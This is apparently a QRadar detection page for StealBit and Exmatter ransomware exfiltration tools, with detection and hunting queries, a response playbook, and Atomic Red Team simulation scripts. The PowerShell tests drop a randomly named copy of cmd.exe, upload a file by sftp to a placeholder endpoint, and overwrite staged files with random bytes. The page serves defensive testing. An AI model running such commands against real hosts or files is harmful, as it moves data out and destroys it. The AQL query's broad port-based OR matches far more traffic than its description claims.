THREAT-Ransomware-AffiliateExfilTooling IBM QRadar · QRadar

Detect Ransomware-Affiliate Custom Exfiltration Tooling (StealBit & Exmatter) in IBM QRadar

Ransomware affiliates increasingly deploy purpose-built exfiltration utilities instead of general-purpose tools like rclone, separating the data-theft channel from the encryption payload's C2 infrastructure. StealBit, distributed by LockBit affiliates, is a standalone binary (originally HTTP/HTTPS-based, later versions moved to a raw multi-threaded TCP protocol) that is dropped with a randomized hex/GUID filename into ProgramData, AppData\Local\Temp, or Users\Public, then run with no command-line arguments. It enumerates local and mapped drives, filters for high-value file types (databases, documents, spreadsheets, credential stores), and spawns dozens of concurrent upload threads to a single hardcoded external host to maximize throughput before the encryptor executes. Exmatter, used by BlackMatter/Noberus, BlackCat/ALPHV, and BlackByte affiliates, is a .NET utility that prioritizes specific extensions (.sql, .mdf, .bak, .pdf, .doc/x, .xls/x, .rdp, .kdbx) and exfiltrates over SFTP, FTPS, or WebDAV to attacker-controlled infrastructure using credentials embedded in its configuration; several observed samples overwrite or truncate a subset of already-uploaded source files with random data immediately after a successful transfer, an anti-recovery and extra-leverage behavior distinct from the ransomware's own encryption routine. Both tools are typically staged and executed in the hours immediately preceding encryption, making the exfiltration phase a high-value, narrow detection window before impact.

MITRE ATT&CK

Tactic
Exfiltration

QRadar Detection Query

IBM QRadar (QRadar)
sql 
SELECT
    DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS EventTime,
    hostname AS Hostname,
    username AS User,
    "Process Name" AS ProcessName,
    "Command Line" AS CommandLine,
    destinationip AS DestinationIP,
    destinationport AS DestinationPort,
    LOGSOURCETYPENAME(logsourceid) AS LogSourceType,
    'SuspiciousLoaderOrFanout' AS ThreatType
FROM events
WHERE LOGSOURCETYPENAME(logsourceid) IN ('Microsoft Windows Security Event Log', 'Sysmon')
  AND (
    (
        "Process Name" MATCHES '.*\\\\(ProgramData|AppData\\\\Local\\\\Temp|Users\\\\Public)\\\\.*'
        AND (
            "Process Name" MATCHES '.*[0-9a-fA-F]{8}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{12}\.exe$'
            OR "Process Name" MATCHES '.*[0-9a-fA-F]{16,32}\.exe$'
        )
        AND ("Command Line" IS NULL OR "Command Line" = '')
    )
    OR (
        destinationport IN (443, 21, 990, 22)
        AND qidname(qid) = 'Firewall Permit'
    )
  )
  AND starttime > NOW() - 86400000
ORDER BY starttime DESC
LIMIT 500
high severity medium confidence

QRadar AQL query detecting StealBit/Exmatter-style ransomware-affiliate exfiltration tooling. Identifies argument-less, randomly-named executables launched from ProgramData, AppData\Local\Temp, or Users\Public via WinCollect-sourced Sysmon/Security events, and correlates against permitted outbound connections on FTPS/SFTP/HTTPS ports recorded by firewall log sources. Requires the 'Process Name' and 'Command Line' custom event properties to be extracted from the Windows/Sysmon DSM.

Data Sources

IBM QRadar SIEMMicrosoft Windows Security Event Log (via WinCollect)Sysmon Events (via WinCollect or Universal DSM)Firewall permit logs

Required Tables

events

False Positives & Tuning

  • Software installers dropping randomly-named temp executables in AppData\Local\Temp with no command-line arguments — suppress by whitelisting signed installer hashes in a QRadar reference set
  • Backup/replication jobs generating regular firewall-permitted outbound connections on 443/21/990/22 to known offsite targets — populate a reference set of authorized destination IPs and exclude matching destinationip values

Other platforms for THREAT-Ransomware-AffiliateExfilTooling

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate StealBit-Style Multi-Threaded Exfil Fan-Out

    Expected signal: Sysmon Event ID 1 for a randomly-named executable created in ProgramData; Sysmon Event ID 3 showing 20+ outbound connections to the test endpoint on port 443 within a short window.

  2. Test 2Simulate Exmatter-Style Staging and Post-Upload File Corruption

    Expected signal: Sysmon Event ID 11 for 60 file creations matching the .pdf extension within a short window; Sysmon Event ID 3 for the outbound SFTP connection on port 22; a second Event ID 11/2 for the modification of staged_1.pdf within minutes of the SFTP connection.

Last updated: 2026-07-15 Research depth: deep
References (3)

Response Playbook

Triage

  1. Locate the loader binary named with a random hex/GUID string in ProgramData, AppData\Local\Temp, or Users\Public. Neither StealBit nor Exmatter has a legitimate business purpose — confirm the file is not a known installer temp artifact before ruling it benign.
  2. Pull the process's network connections for the alert window: a sustained burst of 20+ connections to a single external IP on 443/21/990/22 from one process is the multi-threaded upload signature and should be treated as active exfiltration, not reconnaissance.
  3. Check DeviceFileEvents (or Sysmon Event ID 11) for the same host/process in the preceding 30 minutes for mass access to .sql, .mdf, .bak, .pdf, .doc/x, .xls/x, .rdp, or .kdbx files — this is the staging/collection phase that precedes the transfer.
  4. If file modification/truncation events immediately follow the network burst on files that match the staging list, treat this as high-confidence Exmatter activity — this behavior actively destroys the source data and is not reversible from the endpoint.
  5. Because both tools are typically staged in the hours before an encryptor runs, immediately check for other precursor ransomware indicators on the same host and any hosts it has recently connected to (Cobalt Strike beacons, credential dumping, disabling of security tooling, shadow copy deletion).

Containment

  1. Isolate the affected host via EDR immediately — this is very likely the final data-theft stage before ransomware deployment, and containment here can prevent both the leak and the encryption event.
  2. Block the destination IP/host at the perimeter firewall and proxy; if a WebDAV or FTPS target was used, also block the resolved hostname to prevent reconnection via a different transport.
  3. Kill the loader process tree and quarantine the binary; preserve a copy for hashing/attribution before deletion.
  4. If file corruption/truncation is observed, do not attempt in-place recovery — restore affected files from the most recent known-good backup rather than trying to repair the corrupted copies.
  5. Treat this as a likely ransomware precursor: proactively isolate hosts that share credentials, domain trust, or recent lateral movement paths with the affected host rather than waiting for encryption to confirm the incident.

Evidence Collection

  1. The loader binary itself (hash, PE metadata, compile timestamp) for attribution against known StealBit/Exmatter samples
  2. Full process command-line and parent process chain showing how the loader was delivered (e.g., dropped by an RMM tool, Cobalt Strike beacon, or manual RDP session)
  3. Network connection logs (destination IP/port, bytes sent, connection count and timing) to scope the volume and duration of the transfer
  4. The list of distinct files touched during the staging phase, to determine what data was likely exfiltrated for breach notification purposes
  5. Any embedded configuration recovered from the binary (SFTP/FTPS credentials, hardcoded C2 IP) if static/dynamic analysis is performed

Escalation Criteria

  • !Sustained high-volume outbound transfer confirmed to an external host combined with mass access of high-value file types — treat as an active, in-progress breach
  • !File corruption/truncation observed following upload — data cannot be recovered from the source system and backups must be validated immediately
  • !Precursor indicators (credential dumping, shadow copy deletion, EDR tampering) present on the same host — escalate as an imminent ransomware deployment, not just a data-theft incident
  • !Sensitive data categories (customer records, financial data, credentials/secrets stores such as .kdbx) present in the staged file list — trigger legal/DPO breach-notification review

Investigation Guide

Related Techniques

T1048 — Exfiltration Over Alternative Protocol (parent technique)T1567.002 — Exfiltration to Cloud Storage (alternative tooling used by the same affiliate ecosystem, e.g. rclone)T1486 — Data Encrypted for Impact (the ransomware deployment that typically follows within hours)T1490 — Inhibit System Recovery (shadow copy deletion frequently co-occurs on the same host)T1005 — Data from Local System (the collection phase that precedes the transfer)

Forensic Artifacts

  • >Loader binary on disk (ProgramData, AppData\Local\Temp, or Users\Public) with a randomized hex/GUID filename
  • >Windows Prefetch entry for the loader binary showing first execution time and referenced file paths
  • >Sysmon Event ID 3 network connection log showing destination IP/port and connection count for the fan-out window
  • >Sysmon Event ID 11 FileCreate/rename events for staged files, and Event ID 2 (FileCreationTime changed) or repeated Event ID 11 on the same path for the post-upload corruption pattern
  • >Any recovered configuration data or strings from the binary (SFTP/FTPS host, port, credentials) via static analysis

Tuning Guidance

The randomized-filename loader pattern (Signal 1) is high-fidelity but should be correlated with the network fan-out or mass file staging signals before paging on-call — on its own it can overlap with benign installer temp files. The high fan-out connection threshold (20 connections/10 min to one host) should be tuned against your environment's legitimate backup and replication traffic; if backup software is common, add its known service account and destination IPs to an allowlist rather than raising the threshold, since the multi-threaded upload behavior is otherwise a strong, low-false-positive indicator. The post-upload file corruption signal (Signal 4) is the highest-confidence indicator in this detection and should almost always be treated as a critical incident — legitimate software rarely modifies a file within minutes of transmitting it externally on FTPS/SFTP/HTTPS ports.

Hunting Queries

Baseline hunt across the last 30 days for randomly-named, argument-less executables launched from common staging directories, independent of any network or file-staging signal — useful for catching a dormant or already-cleaned-up drop before the transfer phase triggers the primary detection.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FolderPath has_any ("\\ProgramData\\", "\\AppData\\Local\\Temp\\", "\\Users\\Public\\")
| where FileName matches regex @"^[0-9a-fA-F]{16,32}\.exe$" or FileName matches regex @"^[0-9a-fA-F]{8}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{12}\.exe$"
| where isempty(ProcessCommandLine)
| summarize FirstSeen=min(Timestamp), Hosts=make_set(DeviceName), Count=count() by FileName, FolderPath
| sort by FirstSeen asc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\ProgramData\\*" OR Image="*\\AppData\\Local\\Temp\\*" OR Image="*\\Users\\Public\\*") CommandLine=""
| regex Image="(?i)\\\\([0-9a-f]{8}-?[0-9a-f]{4}-?[0-9a-f]{4}-?[0-9a-f]{4}-?[0-9a-f]{12}|[0-9a-f]{16,32})\.exe$"
| stats earliest(_time) AS FirstSeen, values(host) AS Hosts, count BY Image
| sort FirstSeen

Atomic Red Team Tests

Test 1 Simulate StealBit-Style Multi-Threaded Exfil Fan-Out
windows

Launches a randomly-named, argument-less test executable that opens many rapid outbound TCP connections to a single test endpoint on port 443, simulating StealBit's multi-threaded upload worker pattern. Use a non-production, attacker-controlled or sandboxed listener as the destination.

Command

powershell 
$guid = [guid]::NewGuid().ToString('N'); Copy-Item C:\Windows\System32\cmd.exe "C:\ProgramData\$guid.exe"; 1..25 | ForEach-Object { Start-Job { Test-NetConnection -ComputerName <TEST_ENDPOINT> -Port 443 } | Out-Null }; Get-Job | Wait-Job | Out-Null

Cleanup

powershell 
Remove-Item "C:\ProgramData\*.exe" -Force -ErrorAction SilentlyContinue; Get-Job | Remove-Job -Force

Expected Telemetry

Sysmon Event ID 1 for a randomly-named executable created in ProgramData; Sysmon Event ID 3 showing 20+ outbound connections to the test endpoint on port 443 within a short window.

Expected Detection

SuspiciousLoaderExec (RiskScore=75) fires on the randomly-named file, and HighFanoutExfilConnections (RiskScore=85) fires once the connection count crosses the 20-connection/10-minute threshold.

Test 2 Simulate Exmatter-Style Staging and Post-Upload File Corruption
windows

Creates a set of dummy files with target extensions, transfers one to a test FTPS/SFTP endpoint, then immediately overwrites the local copy with random bytes to simulate Exmatter's documented post-exfiltration source-file corruption behavior. Use only non-sensitive dummy data.

Command

powershell 
1..60 | ForEach-Object { "dummy content $_" | Out-File "C:\Temp\staged_$_.pdf" }; sftp -P 22 testuser@<TEST_ENDPOINT>:/incoming <<< "put C:\Temp\staged_1.pdf"; $bytes = New-Object byte[] 1024; (New-Object Random).NextBytes($bytes); [IO.File]::WriteAllBytes("C:\Temp\staged_1.pdf", $bytes)

Cleanup

powershell 
Remove-Item C:\Temp\staged_*.pdf -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 11 for 60 file creations matching the .pdf extension within a short window; Sysmon Event ID 3 for the outbound SFTP connection on port 22; a second Event ID 11/2 for the modification of staged_1.pdf within minutes of the SFTP connection.

Expected Detection

MassFileStaging (RiskScore=65) fires on the 60 file creations, and PostExfilFileCorruption (RiskScore=90) fires on the modification of staged_1.pdf following the SFTP connection from the same process.

Related Detections

Tactic Hub

TA0010Exfiltration

Detection Variants (3)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1048.002Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Related Techniques

T1048Exfiltration Over Alternative ProtocolT1567.002Exfiltration to Cloud StorageT1486Data Encrypted for ImpactT1490Inhibit System RecoveryT1005Data from Local System

Same Tactic: Exfiltration

Popular Detections